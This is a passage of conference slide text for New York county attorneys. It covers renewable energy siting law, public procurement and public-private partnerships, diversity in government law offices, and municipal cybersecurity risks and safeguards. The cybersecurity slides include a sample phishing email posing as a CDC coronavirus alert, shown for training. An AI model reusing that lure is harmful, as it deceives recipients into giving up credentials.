  - Remainder to local parties such as citizens groups
PSL ARTICLE 10

- Siting Board must make certain “Explicit Findings” regarding:
  - Nature of probable environmental impacts of construction and operation
  - Cumulative environmental impacts on:
    - Ecology, air, ground and surface water, wildlife, and habitat
    - Public health and safety
    - Cultural, historical and recreational resources
    - Transportation, communication, utilities and other infrastructure
PSL ARTICLE 10

❖ Siting Board must also determine that:
  ❖ Facility is a “beneficial addition to or substitute for” generation capacity
  ❖ Construction and operation are in the public interest
  ❖ Adverse environmental effects “will be minimized or avoided to the maximum extent practicable”
  ❖ Facility is in compliance with local laws and regulations unless:
    ❖ Local law is “unreasonably burdensome in view of the existing technology or the needs of or costs to ratepayers whether located inside or outside of such municipality”
Accelerated Renewable Energy Growth and Community Benefit Act

  - Aims to help achieve CLCPA targets
  - Significantly streamlines siting/permitting process
  - Reduces and specifies clear permitting time frames
  - Will replace Article 10
Accelerated Renewable Energy Growth and Community Benefit Act

- Section 94-C to the Executive Law entitled “Major Renewable Energy Development”
- Does away with Preliminary Scoping Process
- Reduces Public Involvement
- New and very streamlined permitting scheme for major renewable energy projects of 25 MW and greater
  - Projects of 20 MW can also opt into the process
  - Projects in Article 10 with complete applications can opt into new process
Accelerated Renewable Energy Growth and Community Benefit Act

- Creates an entirely new office in the New York Department of State:
  - Office of Renewable Energy Siting ("ORES")
  - Executive Director of ORES solely responsible for approval of project
    - No longer multi-agency decision making board
    - No other state agency or local municipal approvals allowed provided that municipality has received notice
  - Staff from other State agencies with expertise to be transferred to ORES.
ORES must establish Uniform Standards and Conditions

- Within one year
- Regarding design, engineering, construction and operation of major renewable projects
- To avoid or minimize significant adverse environmental impacts to “maximum extent practicable” common to each type of renewable facilities
- Developed in consultation with other State agencies

ORES can set site-specific conditions to address environmental impacts not completely address by uniform standards and conditions

ORES must also promulgate regulations to implement siting program

Four public hearings before adoption of Uniform Standards and Conditions
Accelerated Renewable Energy Growth and Community Benefit Act

Permitting Process and Time Frames

- Application Filed
  - Must include showing that applicant consulted with local municipality regarding substantive requirements of local laws
  - Municipality is county, city, town or village
- Within 60 days: Application must be deemed complete
- Within 60 days later: ORES to publish draft permit conditions for 60 day public comment period
- Municipality must submit statement on whether proposed facility complies with applicable local law/regulations regarding environment, public health and safety
  - If not, then ORES can hold non-adjudicatory hearing
Accelerated Renewable Energy Growth and Community Benefit Act

Permitting Process and Time Frames

❖ 1 Year from complete application:
  ❖ ORES must make a final determination or
  ❖ Default: Permit automatically issued with conditions in draft permit

❖ 6 Months: ORES to make final determination or permit is automatically issued for projects on:
  ❖ Existing or abandoned commercial use sites
  ❖ Brownfield, landfills, abandoned properties
  ❖ Dormant electric generating facilities

❖ PSC/DPS must monitor and enforce terms of final permit
Accelerated Renewable Energy Growth and Community Benefit Act

Permitting Process and Time Frames

Adjudicatory Hearings

- Unlike Article 10, a hearing will be held *only if* public comments raise issues which are “substantive and significant”
- Substantive and Significant standard will be set out in regulations
- DEC Regulations are a good example:
  - Issue is substantive if “sufficient doubt about the applicant's ability to meet statutory or regulatory criteria applicable to the project...” 6 NYCRR 624.4(c)
  - Issue is significant if “it has the potential to result in the denial of a permit, a major modification to the proposed project or the imposition of significant permit conditions..” 6 NYCRR 624.4(c)
Accelerated Renewable Energy Growth and Community Benefit Act

Compliance with Local Laws

- ORES can issue Final Siting Permit only if in compliance with applicable local laws and regulations.

- Can “elect not to apply” local law if ORES finds that it is:
  - “unreasonably burdensome in view of the CLCPA targets and the environmental benefits of the proposed major renewable energy facility.”

- Much less stringent standard than Article 10 standard:
  - “unreasonably burdensome in view of the existing technology or the needs of or costs to ratepayers whether located inside or outside of such municipality”
Accelerated Renewable Energy Growth and Community Benefit Act

Judicial Review

- Appeal must be filed within 90 days after ORES final determination on permit.
- Article 78 rules apply to appeal.
- But review limited to whether determination was:
  - Supported by substantial evidence in record.
  - Conformed to procedures in the statute or regulations.
  - Arbitrary, capricious or abuse of discretion.
  - “Made pursuant to a process that afforded meaningful involvement of citizens affected by the facility....”
Accelerated Renewable Energy Growth and Community Benefit Act

**Intervenor Funds**

- $1,000/MW
- Awarded to
  - “local agencies”
    - County, City and other subdivisions
  - “Community Intervenors”
- Funds awarded for participation in public comment periods and hearing proceedings
- Funds to be awarded to municipalities to determine if project will be in compliance with local laws and regulation
- Funds already awarded in Article 10 will transfer over to new process
Accelerated Renewable Energy Growth and Community Benefit Act

Host Community Benefits

- Final Siting Permit must require developer to provide a “host community benefit” which may be:
  - A host community benefit as determined by the PSC or
  - Another project as determined by ORES or
  - One “subsequently agreed to” between the developer and the host community

Off-Site Mitigation

- Permit may require environmental impacts to be mitigated by off-site mitigation effort funded by developer
- Permit may require payment into Endangered And Threatened Species Mitigation Fund to facilitate a “net conservation benefit”
Overview of New York’s Procurement Laws and Framework

Teno A. West, Esq.
Overview of New York’s Procurement Laws and Framework

CAASNY 2020 Annual Meeting
September 15, 2020

Teno A. West
Managing Partner
West Group Law PLLC
New York’s Public Procurement Laws

• Purpose
  • Prevent favoritism, corruption, and fraud
  • Protect the public fisc
  • To serve as a shield for taxpayers, not a sword for contractors
GML §103

- GML §103 – Letting of contracts
  - Lowest responsible bidder
  - Responsibility and responsiveness are key
    - Challenges can be made, but courts favor low bidder where possible
  - Exception for professional services
GML §103

• Exception to competitive bidding for services requiring specialized or technical skills, expertise or knowledge, exercise of professional judgment or a high degree of creativity

• Exception is not statutory; it’s based on case law

• Examples include accountants, architects, attorneys, and engineers

• Contracts to be procured pursuant to local procurement policies and procedures required by GML §104-b
  • Sets forth procedures for procurements for goods and services not subject to Section 103, and for establishing procurement policies and issuing RFPs
GML §101

• GML §101 – “Wicks Law”
  • Public construction projects must separately prepare bid specifications and contracts for: (i) plumbing; (ii) heating and air conditioning; and (iii) electrical
  • Increases competition among specialty contractors by cutting out the general contractor ("middle man")
  • Project dollar amounts
  • Only applies to public authorities if specifically included in their enabling legislation
  • Project Labor Agreement exception
Project Labor Agreements

• Section 222 of the Labor Law

• A PLA is a pre-hire collective bargaining agreement establishing a collective bargaining representative for all persons who will perform work

  • U.S. Supreme Court set forth constitutionality of utilizing PLAs
  • Government’s proprietary function, not regulatory function

  • Authorized use of PLAs in New York under certain conditions
Project Labor Agreements

• PLA may be utilized on a given project under certain conditions:
  • Reliance on a consultant’s pre-bid feasibility or due diligence report project manager favoring a uniform agreement
  • A finding that a PLA has a proper business purpose, that it will provide direct and indirect economic benefits to the public, and that it will promote the particular project’s timely completion
  • A showing of “more than a rational basis” for the necessity of the PLA
  • Consideration for the potential for labor unrest
  • A showing that the decision to enter into the PLA had as its purpose and likely effect the advancement of the interests embodied in the competitive bidding statutes

• Case law indicates that if these guidelines are followed, pursuant to more than cursory review and consideration, a PLA likely will be considered valid
Covid-19 Updates

• Public bid openings
  • Executive Order (“EO”) 202.11. EO 202.11 permits the non-public opening of bids

• Public participation
  • Where practical, public entities must record or live stream bid openings so that the public has the opportunity to view such bid openings
  • Bidders may participate remotely as well

• Electronic bids
  • Bids may be accepted in electronic format

• Site visits
  • Pre-bid conferences or site visits are discouraged, unless essential
  • Virtual or remote site visits are recommended
Public-Private Partnerships

• Forms of public-private partnerships/alternative project delivery
  • Contract operations
  • Design/build
  • Design/build/operate
  • Lease
  • Design-build/operate/transfer
  • Contraction Manager at Risk
Public-Private Partnerships

• Request for Proposals process
• Best value, not lowest price procurement
• Evaluate proposals based on:
  • Qualifications
  • Technical specifications
  • Business deal
  • Price
• Negotiated transaction
• Aggregation of services: design, construction, operation, and maintenance
Traditional Approach: Design-Bid-Build (DBB)

• Description
  • Public entity contracts separately with engineer to design project and contractor to construct project (decision on construction based on lowest cost bid from responsive, responsible bidder)
  • Public entity or private company operates and maintains facility
  • Performance and business risk transferred
Public-Private Partnership

- A single entity is responsible for designing, building an improvement or new facility and is accountable for results through acceptance
- Single source guarantor
- Government does not separately retain or manage design engineer, general contractor for construction
- Performance and business risk transferred
Potential Advantages of Public-Private Partnerships Compared to DBB

• Potential for lower cost
• Ability to select on criteria other than low cost, not issue of quality associated with accepting low bid
• Predictable future costs specified by contract (Fixed Price Guarantee)
• Guaranteed schedule to complete construction, typically shorter
• Guaranteed performance
Potential Advantages of Public-Private Partnerships Compared to DBB

- Assumption of technical/environmental/business risks
  - Technical: achieve design/performance limits; if it breaks, company fixes it
  - Environmental: if exceed permit limits, company fixes and pays fines
  - Business: company assumes risk of construction costs, schedule delays
Potential Advantages of Public-Private Partnerships Compared to DBB

• Single source provider and guarantor for performance, less potential for claims, litigation

• Reduction in potential for change orders

• Fewer public management requirements – day-to-day management with company

• National and international resource base to tap into – research, planning, trouble-shooting, training, optimization, regulatory review
New York State Design-Build Statutes

• Infrastructure Investment Act (2011)
  • Authorized best value procurement for certain state agencies
  • Tappan Zee Bridge project

• New York Transformational Economic Development Infrastructure and Revitalization Projects Act (2016)
  • Authorized design-build for Javits Convention Center

• New York City Public Works Investment Act (2020)
  • Authorizes some New York City agencies to use the design-build delivery method for certain capital projects
New York State Design-Build

• But most public entities must procure agreements on low-bid basis
  • Requires a completed design, meaning that design services must be procured separately and before construction work is procured

• But some public authorities not subject to low-bid laws, so should be authorized to utilize design-build

• Local development corporations also authorized
New York State Design-Build

• Opposition
  • Department of Education licensing laws for engineers
  • New York State Society of Professional Engineers

• No outright ban on design-build

• Design-build clearly authorized for private entities
  • Charlebois case – Court of Appeals
Public Authorities Law

• Article 8 sets forth enabling legislation for specific entities
• Generally more flexible than GML §103
• Procurements can be made pursuant to individual Authority procurement policies, unless otherwise specified in enabling legislation
• Allows for alternative project delivery in some cases
Best Value Case Study

• AAA v. Stony Point, 159 A.D.3d 1036 (2018)
  • WGL represented long-standing client, the Rockland County Solid Waste Management Authority (the “Authority”, now D/B/A “Rockland Green”), in a challenge to a contract award on a best value basis
  • The Second Department determined that the Authority was a public benefit corporation, which was subject to the Public Authorities Law, not the General Municipal Law
  • Therefore the Authority properly accepted a bid for recycling services which was not the lowest bid
  • Any limitations placed on a public authority’s power to contract must come from that authority’s enabling statute, not the General Municipal Law
Local Development Corporations

• Local development corporations (LDCs) are private, not-for-profit corporations often created by, or for the benefit of, local governments for economic development or other public purposes
• Governed by §1411 of Not-For-Profit Corporation Law
• LDCs are not subject to public procurement laws that require certain contracts to be bid competitively; they may use P3 procurements
• May acquire property from local government without appraisal or public bidding
• Debt is not subject to the constitutional debt limits established for most municipalities
New York Counties’ Use of P3s

• Not common, but has been used
• New York legal authority
  • General Municipal Law (Section 120-w)
  • Specific purpose (energy performance contracts Energy Law, Article 9)
  • Special legislation
  • Professional services exception
  • Home Rule Charter
New York Counties’ Use of P3s

- **GML §120-w – Solid waste contracts**
  - Authorizes municipalities to enter into contracts for design, construction, and operation of solid waste management facilities, and solid waste collection and disposal
  - Broad definition of solid waste, includes:
    - Solid and yard waste, composting, recyclables, sludge
  - Permits the design, construction, operation, financing, ownership or maintenance of a solid waste management-resource recovery facility for up to 25 years
  - Request for proposal process
    - Draft RFP
    - 60-day review period
    - Final RFP
Section 120-w Case Study

• **Rockland County**
  • Co-composting facility
    • Utilized Section 120-w provisions to procure and develop a co-composting facility
    • Recycles bio-solids from wastewater treatment plants in Rockland County. The bio-solids are mixed with clean wood waste and then composted. The finished product is used as a soil amendment for use on golf courses, flower gardens and landscaping projects

• **Materials recovery facility**
  • Utilized Section 120-w provisions to procure and develop a materials recovery facility
  • Processes commingled papers and commingled containers

• **Alternative waste disposal projects**
  • Currently utilizing Section 120-w to solicit expressions of interest and a subsequent RFP for alternative waste disposal options, which may include potential waste to energy projects
Professional Services

  • Company contractually assumed management for the City’s municipal water system, including employees

• Comptroller Opinion No. 82-290 (1982)
  • Contract with private corporation to operate public sewer system, without competitive bidding, may be made under the provisions governing professional services contracts
Professional Services Case Study

• **Nassau County Wastewater Facility Operation & Maintenance Agreement**
  • Private operation, maintenance and management of the County’s sewer system
    • Serves 1.2 million people
    • 3 treatment plants, 53 pumping stations, 3,000 miles of pipe
  • 20-year, $1.2b concession
  • Savings of $230m over contract term
  • Procurement pursuant to professional services exception
  • Largest water-related P3 to date in the US.
  • Operator performs construction management of upfront capital improvements that are public works projects subject to GML §103
Energy Performance Contracts

• EPC is a financing technique that uses cost savings from reduced energy consumption to repay the cost of installing energy conservation measures.

• The costs of the energy improvements are borne by an Energy Service Company and are paid back out of the energy savings.

• Authorization for state agencies, authorities, school boards, and municipalities to procure through competitive bid or RFP– exemption from low bidding requirements – Energy Law §9-103.

• EPCs have been compared to design-build contracts.

• Wicks Law does not apply – Energy Law §9-103.
EPC Case Study

• **NYC Housing Authority**
  - Largest EPC for any U.S. housing authority
  - Retrofit 300 NYCHA developments across 1,000s of buildings and 10,000s of apartments
  - Water, electricity, heat costs increased 64% over the last 10 years to $576m annually
  - PLA negotiated with Building Construction Trades Council (BCTC) of Greater New York
  - NYC has goal of retrofitting every public building for efficient energy use by 2025
County Special Legislation

• Special Legislation
  • Onondaga County (2014 N.Y. Laws Ch. 35) (Amphitheater)
  • Orange County (1997 N.Y. Laws Ch. 504) (Sewer)
  • Rockland County (2002 N.Y. Laws Ch. 665) (Wastewater treatment plant, sewer collection system)
  • Suffolk County (County Law §§265, 268, 277) (Sewer)
County Special Legislation Case Study

• **Rockland County Sewer District No. 1**
  • Failing septic systems were contaminating the Ramapo River Watershed
  • Required construction of new wastewater treatment plant and sanitary sewer system
  • Special legislation necessary to allow for efficient completion of project
  • First wastewater treatment plant DBO project in New York State
Home Rule Charter/Lease Authority

• **Constitutional, State, and Local Authorization**
  • Article IX of the State Constitution
    • Grants home rule to counties, cities, towns and villages
  • NYS Municipal Home Rule Law
  • Local Laws
    • Same status as an act of the State Legislature because it is granted from the State Constitution
    • 19 charter counties have broad authority to enact laws that supersede otherwise applicable state laws
      • Sale or lease of property
      • County Law § 215
Home Rule Charter/Lease Authority Case Study

• Nassau County/Nassau Veterans Memorial Coliseum
  • Procurement under Nassau County Charter §2206-a
    • Coliseum specific provisions
    • Lease of real property
    • Exemption of public work for event management and building maintenance
  • $180 million 100% private investment
  • $194.5 million minimum guaranteed revenue to County
Conclusion

• Public-private partnerships are becoming more popular with municipal governments
• Have been used in New York
• Counties may use P3s under certain circumstances
About WGL

• Boutique infrastructure law firm that provides responsive legal solutions with cost-effective results

• Advise infrastructure owners in financing, operating and maintaining vital infrastructure in the social, water, energy and transportation sectors

• Experienced in conducting alternative project delivery procurements including design-build and public-private partnerships

• Team members have spent their careers serving the public interest in private practice or government
Best Practices for Diversity, Inclusion & Elimination of Bias

Kristen Klein Wheaton, Esq.
Best Practices for Diversity and Inclusion – CAASNY 2020

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Partner
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716-913-4332
Social Unrest

• This year’s social unrest is having an impact in the workplace.

• Now more than ever, how employers, including governmental employers, address this issue is very important.

• What is your game plan?
Data

• The number of women in the legal profession continues to increase.
• Female representation among lawyers stood at 37.4% in 2018, up from 34.4% in 2008 and 28.5% in 1998.
• In 2018, female representation among resident active attorneys was 36% according to American Bar Association data.
• Women now comprise a majority of law students, according to the ILP report.

Data

• Compared to most other professions, women remain under-represented in the legal profession.

• Women’s representation among lawyers (37.4%) is higher than their representation in some other professions, including software developers (19.3%), architects (29.7%), civil engineers (14.8%), and clergy (22.4%).

Data

- Women’s representation among lawyers is lower than their representation among financial managers (55.2%), accountants and auditors (60.6%), biological scientists (47.5%), and post-secondary teachers (49.0%); and significantly lower than their representation within the management and professional workforce as a whole (51.5%).

The pace of racial/ethnic minority representation in the legal profession has been steadily increasing during the past decade.

Aggregate racial minority representation among U.S. lawyers stood at 16.5% in 2018, according to the Bureau of Labor Statistics.

Based on three year (unweighted) averages, aggregate minority representation among lawyers has increased from 11.3% in 2006-08 to 15.3% in 2016-18.

Data

- In 2018, African Americans made up only 4.5% of associates in U.S. law firms, down from 4.7% in 2009, but up from a low point of 4.0% in 2014 and 2015.

Data

• Asian Americans are the most likely minority group to enter private practice.

• In 2018, Asian Americans made up 11.7% of associates in law firms, up from 9.3% in 2009.

• Notably, a majority of Asian American associates have been women.

• Hispanics comprise 4.7% of law firm associates in 2018, up from 3.9% in 2009.

Data

- Despite this progress at the associate level, minority representation among law firm partners remains stubbornly low.
- In 2017, minorities made up only 8.4% of all partners and only 6.1% of equity partners that same year.
- In 2018, only 1.8% of all law firm partners are African American, only 2.5% are Hispanic, and only 3.6% are Asian American.

### Table 1 - U.S. Lawyers by Gender and Race/Ethnicity

<table>
<thead>
<tr>
<th>Year</th>
<th>Lawyers</th>
<th>Female %</th>
<th>Af Am.</th>
<th>Hisp.</th>
<th>As Am.</th>
<th>Minority</th>
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</table>
Data

• Initial employment patterns seem to differ with racial groups.

• African Americans are significantly less likely to start out in private practice than other groups and more likely to start off in business or government.

Data

- In 2016, only 38.9% of African American law graduates were initially employed in private practice, compared to 54.9% of Hispanic graduates, 57.6% of Asian American graduates, 41.2% of Native American graduates and 53.7% of white graduates.

Data

- In 2018, 21.2% of all judges were minorities.
- Article III judges have greater representation with 20.4% minority judges in 2018.
- Based upon limited data available, African American representation is greatest among federal government attorneys (8.7% in 2010) and law schools.

Data

• Hispanic representation is highest among in house counsel as of 2015 (5% in 2015) and tenure track faculty members (6.4% in 2013).

• Asian American representation is highest among law firm associates (11.7% in 2018) and tenure-track faculty (8.5% in 2013).

Data

- Law graduates identifying as LGBT are less likely than any other group to start out in private practice and more likely to start in public interest jobs.

- In 2016, 14.6% of law graduates identifying as LGBT took public interest jobs.

In 2018, 3.8% of associates and 2.1% of partners identified as LGBT, up from 2.3% and 1.4% respectively in 2009.

Data

• Tracking the profession’s progress toward diversity and inclusion is made difficult by the continuing lack of data. Outside of law firms and Article III judgeships, the profession lacks basic data and racial/ethnic breakdowns by title, seniority and region or more inclusive efforts covering sexual orientation or disability status.

• More robust statistics are sorely needed.

Strategies

- Now that we have the data, what can a government law office do?
Recruitment Efforts

- **Internships** – Partner with law schools and minority bar associations, other law school organizations and clubs to recruit potentially diverse law clerk interns to work in the office

- **Advertising** – Advertise in some non traditional venues that are more likely to attract diverse candidates (Minority Bar Association for example)
Recruitment

- Wait, what about Civil Service Lists?
Recruitment

• Try to broadly advertise for Civil Service Examinations.
• Utilize extra efforts to advertise opportunities to take examinations through non-traditional routes.
• Certainly the rule of 3 limits choices, but the overall goal should be to diversify the pool of candidates on the list.
• Discuss with NYS Civil Service any suggestions they may have for increasing diversity in examinations.
Retention

• Many governmental agencies have trouble retaining minority candidates and lose them to other opportunities.

• Create a mentorship program or provide mentors for newer or inexperienced lawyers with more senior lawyers or leaders within the administration.

• Fully advertise the benefits of public service and the rewarding career opportunities it presents.
Retention

• Check for any potential pay disparities among gender and ethnic groups and make any necessary adjustments to pay scales.

• Retain an expert to assist in diversity and inclusion issues in the workplace – hire a smart, academically prepared, and experienced expert to train employees.

• Create a culture of candid conversation.
Retention

• Create a committee or advisory board to help craft and create your message about diversity in the workplace. (Try to keep political agendas and politics out of it.)

• Keep statistical data on promotions, resignations, hiring, and disciplines to ensure fairness and level treatment of all employees.

• Evaluate opportunities to promote diverse candidates into leadership roles.
Diversity & Inclusion Programs

• Best practices recommend that any Diversity and Inclusion Program must have support, goals, metrics, and accountability.

• Programs in name or policy only, without action, can lead to claims of discrimination for failure to follow policies and decrease employer credibility.
Experts are starting to encourage conversations in the workplace. For many people, their entire exposure to people who are different from them—in terms of race, cultural background and even political thought—is in the workplace.
Issues of Social Justice in the Workplace

• Historically, certain topics were deemed off limits in the workplace.

• Social justice issues are now more pervasive than ever before in the workplace. Even if your employees aren't openly talking about them, you can bet that many of them are likely thinking about them or are distracted or impacted by them.
Issues of Social Justice in the Workplace

- Significantly, almost half of Black HR professionals (47 percent) said they do not feel safe voicing their opinions about racial justice issues in the workplace, while only a little more than one-quarter of white HR professionals (28 percent) say the same.

- Black and white workers generally agreed, however, that discussions about race can be uncomfortable.

Source – SHRM “Creating a Safe Space at Work for Discussing Social Justice Topics”, August 21, 2020
Issues of Social Justice in the Workplace

• Employers can provide healthy opportunities for respectful workplace dialogue by hosting town halls, listening sessions, and facilitated conversations.

• Clearly articulate your organization’s values and take stances and support causes that are consistent with your core values.

Source – SHRM “Creating a Safe Space at Work for Discussing Social Justice Topics”, August 21, 2020
Issues of Social Justice in the Workplace

• Make sure employees feel healthy and safe. This includes helping employees deal with the emotional impact of what's going on in the country, offering a robust employee assistance program and providing outlets to discuss emotional societal issues in a positive way.

• Take time to review policies and practices and scrub them of any bias or disparate impact on people of color and other minorities or vulnerable populations.

Source: SHRM – “Creating a Safe Space at Work for Discussing Social Justice Topics”, August 21, 2020
Issues of Social Justice in the Workplace

- Consider what your County can do to support social justice initiatives in its industries and communities.
- County government is impacted by unrest just like other community members.
- Ensure all employees, especially supervisors, are well-trained on respect in the workplace; diversity, equity, and inclusion; and in de-escalation techniques.

Source: SHRM – “Creating a Safe Space at Work for Discussing Social Justice Topics”, August 21, 2020
Issues of Social Justice in the Workplace
Free Speech?

- Are government employees free to discuss political views and views on social justice in the workplace?
- Are they free to possess or wear shirts, hats buttons, stickers, etc. in the workplace?
- With the increasing movement for social justice reform, there are strong opinions on both sides.
First Amendment Rights

• Support for the Black Lives Matter movement and racial justice is stronger than ever before, but certainly not universally accepted.

• So, what should an employer do when an employee voicing support for the BLM movement clashes with an employee who denounces the movement because they support the “all lives matter” movement?
First Amendment Rights

- Even if conflict is civil and not directed to an employee of another race, an employee’s words or actions can still create a hostile work environment or offensive work environment obligating the employer to take corrective action.
Rights of Government Employees

- If an employee's political activity or speech has a nexus to the terms and conditions of their employment and does not create a hostile work environment based on a protected class, the activity or speech may be protected under federal law.

• Supreme Court held:

When public employees make statements pursuant to their official duties, such employees are not speaking as private citizens for First Amendment purposes, and thus the First Amendment does not prohibit managerial discipline of such employees for such speech.
Police officer commented on social media about a police shooting that was garnering public attention and allegedly racially motivated.

He did not identify himself as a police officer but his comments were reported to his professional standards bureau.

The court held that the officer’s “personal views about police officers and the dangers they face [in light of an] officer-involved shooting are a matter of public concern and the subject of nationwide debate.”

• The Court found no constitutional violation in terminating the officer because “[t]he comments were made directly in response to a police shooting at a time when police shootings were a hot topic of debate among members of the public and the subject of nationwide protests.”

• The Court further noted that the employer could reasonably predict that the officer’s comments would be disruptive to its mission and affect officer morale.
Morris v. City of Columbia, 2019
WL 6093312 (D.S.C. 2019)

• White firefighter terminated for making negative comments about BLM movement on Facebook on duty

• On City’s motion for summary judgment, he introduced Facebook comments made by African American coworker firefighters in support of BLM and derogatory to other views

• Court allowed Title VII claim to survive summary judgment
Parting Advice

- Training, training, training
- Evaluate recruitment and retention issues
- Consider outlets for constructive discussion about inequities or social justice issues in the workplace
Questions?

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Cybersecurity Challenges Facing Counties – Reducing the Risk of Attacks
Parts 1 and 2

Alan Winchester, Esq.
Outline:
Cybersecurity and Municipalities

Part 1 - 9:00-10:00
Cyber Risks and Municipalities

• Discuss the primary cyber threats municipalities currently face

Part 2 – 10:00-11:00
Reducing Risk of Cybersecurity Events

• Discuss steps municipalities can undertake to reduce cyber risks caused by external actors
Michael Montagliano

• Chief Technology Officer
• Focuses on Security and Disaster Recovery
• Responsible for delivery of information technology assessment and architectural design services.

Alan Winchester, Esq

• PG Leader for Cybersecurity
• Focuses compliance with regulations and support during a cyber incident.
• Chief Development Officer at Caetra.io and creator of CyMetric
Part 1

Identifying Cybersecurity Risks from External Actors
Presentation Concepts

Across

2. Practice to reduce risk
3. Credential theft
4. Risk transfer
5. Unauthorized file encryption
6. Measuring compliance
7. Malicious unauthorized access
8. Common electronic currency

Down

1. Technical, Administrative and Physical protections
2. Demonstrating satisfaction of legal obligations
6. Cybersecurity without policies or procedures
7. Federal standards agency
8. Critical infrastructure attack
10. Measure of impact and likelihood of a bad event
Primary risks for municipalities

• Financial crimes
  • Against the municipality
  • Against citizens
• Ransomware
• Service disruption
• Cyberterrorism
  • Electric grid
  • 911 response
  • Traffic signals
  • Utilities
  • Public safety (dams, etc.)
How do ‘Bad Actors’ gain access

Masquerading / Social (<>50%)
Phishing emails
Credential dumping

Malware (<>50%)
Injection
Scripting
Malicious websites

Human error
Phishing and Spear Phishing

Distributed via the CDC Health Alert Network
February 4, 2020
CDCHAN-00426

Dear [RECIPIENT],

The Centers for Disease Control and Prevention (CDC) continues to closely monitor an outbreak of a 2019 novel coronavirus (2019-nCoV) in Wuhan City, Hubei Province, China that began in December 2019. CDC has established an Incident Management System to coordinate a domestic and international public health response.

Updated list of new cases around your city are available at (https://www.cdc.gov/coronavirus/2019-ncov/newcases-cities.html)

You are immediately advised to go through the cases above to avoid potential hazards.

Sincerely,
CDC-INFO National Contact Center
National Center for Health Marketing
Division of eHealth Marketing
Centers for Disease control and Prevention
What does a bad actor gain from phishing?

- Access to systems secured by passwords
- Ability to send and receive emails from your account
- Ability to create mailbox rules to hide activities
- Access to all files accessible to the user who was phished
- Ability to install any software where the user has such rights
  - Key logger
  - File encryption
- Key logging software can acquire more accounts and passwords
How can this hurt a municipality?

• Breach of confidentiality
  • Reputational damage
  • Notification duties
  • Litigation exposure

• Ability to communicate to others as if such messages were from the account holder
  • Wire transfers
  • Reputational damage
  • Detrimental reliance
  • Etc.

• Conveys right to introduce malware onto systems operated by municipalities
  • Ransomware
  • Key loggers
    • Acquisition of other account credentials
Ransomware

- In 2017, there were 1,783 attacks
- In 2018, there were 184 million
- Government agencies pay 10X more than private companies
- 70% of victims pay the ransom
- The average cost of ransom between 2017 and 2020: $125,697
- The actual cost is much higher
Where are we seeing the attacks?
Ransom amounts

• Park DuValle Community Health Center 06/2019 $70,000
• Stratord City, Ontario, Canada 04/2019 $71,000
• La Porte County, Indiana 07/2019 $130,000
• Jackson County, Georgia 03/2019 $400,000
• Lake City, Florida 06/2019 $500,000
• Riviera Beach City, Florida 05/2019 $600,000
• Baltimore, Maryland 05/2019 $100,000
• New Bedford, Massachusetts, $5,300,000
• Albany County, New York, 3 attacks in 3 weeks over Christmas in 2019.
Total costs

Really Expensive!

• Ransomware costs businesses $75 billion per year
• The cost of downtime is, on average, $8,500/hour
• Baltimore’s total cost was $18,000,000 for a May 2019 attack and $17,000,000 for a 2018 attack
• New Orleans was attacked in 2020. Cost $7,000,000

Do you have the budget for this?
Do you pay the ransom?

Address this ahead of time.

Reasons to Pay

- Importance of information
- Backups are not always effective
- Usually less expensive than restoration from backups
- Usually quicker RTO than through restoration

Reasons not to Pay

- Do you trust a thief
- Valid key may not work
- Where is the money going
- Encourages more ransomware
- FBI and others discourage payment
- Encourage more attacks
- 2019 US counsel of Mayors
- OFAC and state sponsored ransomware
How to pay a ransom

• Negotiate
  • Lower demands may be possible, but harder for government
  • Proof that key works
  • Treat it like a business deal
  • Act quickly

• Secure Bitcoins or other cryptocurrencies
  • Cryptocurrencies generally
  • How to buy bitcoins: wallet and exchanges; watch out for scams
  • Paying a ransom may not be the best time to first learn about them
After the attack

• Forensically inspect system
  • Usually there is residual or even secondary malware installed
• Determine root cause
  • How did the attacker gain a toe hole and exploit a vulnerability
• Address the root cause
• Update System Security Plan to reduce the risk of the event happening again. Stick around for the next hour’s program!
Intermission and Questions
Michael Montagliano

- Chief Technology Officer
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Alan Winchester, Esq

- PG Leader for Cybersecurity
- Focuses compliance with regulations and support during a cyber incident.
- Chief Development Officer at Caetra.io and creator of CyMetric
Part 2

Reducing Risk and Impact of Attacks
System Security Plans (SSP) and their need

NY State recently passed amendments to GBL § 899-aa and bb as well as Section 208 of the State Technology Law.

Section 208 requires state entities to both notify victims and improve security following a breach. See 208 (2).

Section 208 (1)(c) provides:

"State entity" shall mean any state board, bureau, division, committee, commission, council, department, public authority, public benefit corporation, office or other governmental entity performing a governmental or proprietary function for the state of New York, except:

(1) the judiciary; and
(2) all cities, counties, municipalities, villages, towns, and other local agencies.
Section 208(10) requirement to all other governmental entities:

10. Any entity listed in subparagraph two of paragraph (c) of subdivision one of this section shall adopt a notification policy no more than one hundred twenty days after the effective date of this section. Such entity may develop a notification policy which is consistent with this section or alternatively shall adopt a local law which is consistent with this section.

But this only applies to notification and is silent about improving security.
How to improve security

Develop a SSP that has three categories of safeguards

- Administrative
- Technical
- Physical
• Designate one or more employees to coordinate the security program;
• Identify reasonably foreseeable internal and external risks;
• Assess the sufficiency of safeguards in place to control the identified risks;
• Train and manages employees in the security program practices and procedures;
• Select service providers capable of maintaining appropriate safeguards, and requires those safeguards by contract; and
• Adjust the security program considering business changes or new circumstances
Technical Safeguards

• Assess risks in network and software design;
• Assess risks in information processing, transmission and storage;
• Detect, prevent and respond to attacks or system failures; and
• Regularly test and monitor the effectiveness of key controls, systems and procedures;
Physical safeguards

• Assess risks of information storage and disposal;
• Detect, prevent and respond to intrusions;
• Protect against unauthorized access to or use of private information during or after the collection, transportation and destruction or disposal of the information; and
• Dispose of private information within a reasonable amount of time after it is no longer needed for business purposes by erasing electronic media so that the information cannot be read or reconstructed.
Transition from ad hoc to programmatic

Ad hoc

- Perform security activities in response to events and as needed

Programmatic (now required under GBL 899-bb)

- Determine risk and define risk appetite
- Formalize how the organization will address these risks
- Monitor and assess effectiveness of the SSP
- Adapt SSP to new risks and circumstances
Defining Risk

- Inventory assets
  - Systems
  - Information assets
- Identifying compliance requirements
  - Regulations
  - Contracts, agreements and representations
  - Standards and best practices
- Perform a risk assessment and define “risk appetite”
  - FIPS 199
  - FIPS 200
  - NIST SP 37
Formalizing risk reduction

• Selection of controls and documentation of procedures to implement those controls
  • NIST 800-53 (used by most government agencies)
  • SANS Critical 20
  • COBIT
  • ISO 2700
Difference between controls and frameworks

- NIST CSF is a framework to organize controls
- NIST 800-53 are a set of controls that can be placed in the CSF Framework to appreciate their function.
NIST CSF

- Each category has multiple subcategory
- There are one or more controls that accomplish the mission of each subcategory
- Sometime the same control may satisfy one or more categories.

Controls and frameworks are related, but different

NIST has a set of recommended controls to fulfill their framework
Identifying processing activities and their risks

